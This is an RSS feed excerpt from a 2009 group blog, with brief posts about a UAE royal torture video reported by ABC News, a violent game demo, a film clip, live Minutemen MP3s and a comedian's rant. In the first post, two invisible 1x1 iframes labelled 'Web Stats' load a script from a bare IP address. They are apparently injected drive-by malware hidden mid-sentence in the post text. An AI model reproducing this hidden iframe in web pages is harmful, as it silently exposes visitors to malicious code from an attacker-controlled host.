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		<title>Happy Fun in the UAE</title>
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		<pubDate>Thu, 23 Apr 2009 13:51:30 +0000</pubDate>
		<dc:creator>minuteman</dc:creator>
		
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		<description><![CDATA[Full story HERE
A video tape smuggled out of the United Arab Emirates shows a member of the country&#8217;s royal family mercilessly torturing a man with whips, electric cattle prods and wooden planks with protruding nails.
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Nabulsi says the video tapes were recorded by his brother, on orders from the Sheikh who liked to watch the torture [...]]]></description>
			<content:encoded><![CDATA[<p>Full story <a href="http://www.abcnews.go.com/Blotter/Story?id=7402099&#038;page=1">HERE</a></p>
<blockquote><p>A video tape smuggled out of the United Arab Emirates shows a member of the country&#8217;s royal family mercilessly torturing a man with whips, electric cattle prods and wooden planks with protruding nails.<br />
&#8230;..<br />
Nabulsi says the video tapes were recorded by his brother, on orders from the Sheikh who liked to watch the torture sessions later in his royal palace.<br />
&#8230;..<br />
Sheikh Issa&#8217;s lawyer, Bristow, has moved to have the case, which also involves allegations<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> surrounding their business dealings, transferred to courts in the UAE.<br />
&#8230;..<br />
The &#8220;&#8217;story that we think ABC is being told is grossly misleading; it is in large measure demonstrably untrue; and it is defamatory to Sheikh Issa.&#8221; <strong>Bristow represented George W. Bush in the Florida recount case in 2000. Among the firm&#8217;s partners is former Secretary of State James Baker. </strong></p></blockquote>
<p>UPDATE: and then i see<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> the world already knows cause of Boing Boing.</p>
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		<title>CLOSE RANGE</title>
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		<pubDate>Wed, 08 Apr 2009 18:06:58 +0000</pubDate>
		<dc:creator>minuteman</dc:creator>
		
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		<description><![CDATA[Hot New Video Game Consists Solely Of Shooting People Point-Blank In The Face
PLAY THE DEMO HERE (I haven&#8217;t&#8230;)
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<p>PLAY THE DEMO <a href="http://www.closerangegame.com/close_range.html">HERE</a> (I haven&#8217;t&#8230;)</p>
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		<title>The Best Part Was When It Blew Up</title>
		<link>http://www.giganticdwarf.net/?p=3093</link>
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		<pubDate>Sat, 21 Mar 2009 01:56:11 +0000</pubDate>
		<dc:creator>minuteman</dc:creator>
		
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		<title>Film of the Day</title>
		<link>http://www.giganticdwarf.net/?p=3090</link>
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		<pubDate>Wed, 18 Mar 2009 15:03:45 +0000</pubDate>
		<dc:creator>minuteman</dc:creator>
		
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		<description><![CDATA[This obviously had a budget and is straight out of a video game, but it was well done.
Watch it full screen in High Quality.

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			<content:encoded><![CDATA[<p>This obviously had a budget and is straight out of a video game, but it was well done.<br />
Watch it full screen in High Quality.</p>
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		<title>Minuteman&#8217;s Inspiration</title>
		<link>http://www.giganticdwarf.net/?p=3087</link>
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		<pubDate>Wed, 18 Mar 2009 13:38:42 +0000</pubDate>
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Just stumbled across this whole album of MP3s from a live Minutemen show from &#8216;84
Grab em while you can!
UPDATE: the site has a million shows and interviews and boots to download. enjoy!
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Just stumbled across this whole album of MP3s from a live Minutemen show from &#8216;84<br />
<a href="http://corndogs.org/justaminutemen%208-24-84.html">Grab em while you can</a>!</p>
<p>UPDATE: <a href="http://corndogs.org/">the site</a> has a million shows and interviews and boots to download. enjoy!</p>
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		<title>ONWARDS</title>
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		<pubDate>Tue, 17 Mar 2009 18:50:30 +0000</pubDate>
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		<title>Happy Long Life!</title>
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		<pubDate>Sun, 08 Mar 2009 21:04:03 +0000</pubDate>
		<dc:creator>minuteman</dc:creator>
		
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		<title>ALSO FUNNY</title>
		<link>http://www.giganticdwarf.net/?p=3077</link>
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		<pubDate>Mon, 02 Mar 2009 19:05:53 +0000</pubDate>
		<dc:creator>MAFFYMATIX</dc:creator>
		
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		<title>Everything is so amazing and nobody is happy.</title>
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		<pubDate>Sun, 01 Mar 2009 19:49:36 +0000</pubDate>
		<dc:creator>minuteman</dc:creator>
		
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		<category><![CDATA[shameless rip off from other blogs]]></category>

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		<description><![CDATA[Very, very true. and hilarious. 

It is true. We take for granted the miracles we get from technology, and complain when the miracles aren&#8217;t perfect. This comedian&#8217;s routine on the Conan O&#8217;Brien show is funny, mocking our ingratitude. I post it here because the rant is a cartoon version of a more serious argument that [...]]]></description>
			<content:encoded><![CDATA[<p>Very, very true. and hilarious. </p>
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<blockquote><p>It is true. We take for granted the miracles we get from technology, and complain when the miracles aren&#8217;t perfect. This comedian&#8217;s routine on the Conan O&#8217;Brien show is funny, mocking our ingratitude. I post it here because the rant is a cartoon version of a more serious argument that we become blind to progress. </p></blockquote>
<p>Ripped from Kevin Kelly&#8217;s great <a href="http://www.kk.org/thetechnium/archives/2009/02/so_amazing_but.php">blog</a>. </p>
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		<title>MUY BUENO</title>
		<link>http://www.giganticdwarf.net/?p=3068</link>
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		<pubDate>Thu, 26 Feb 2009 21:59:22 +0000</pubDate>
		<dc:creator>MAFFYMATIX</dc:creator>
		
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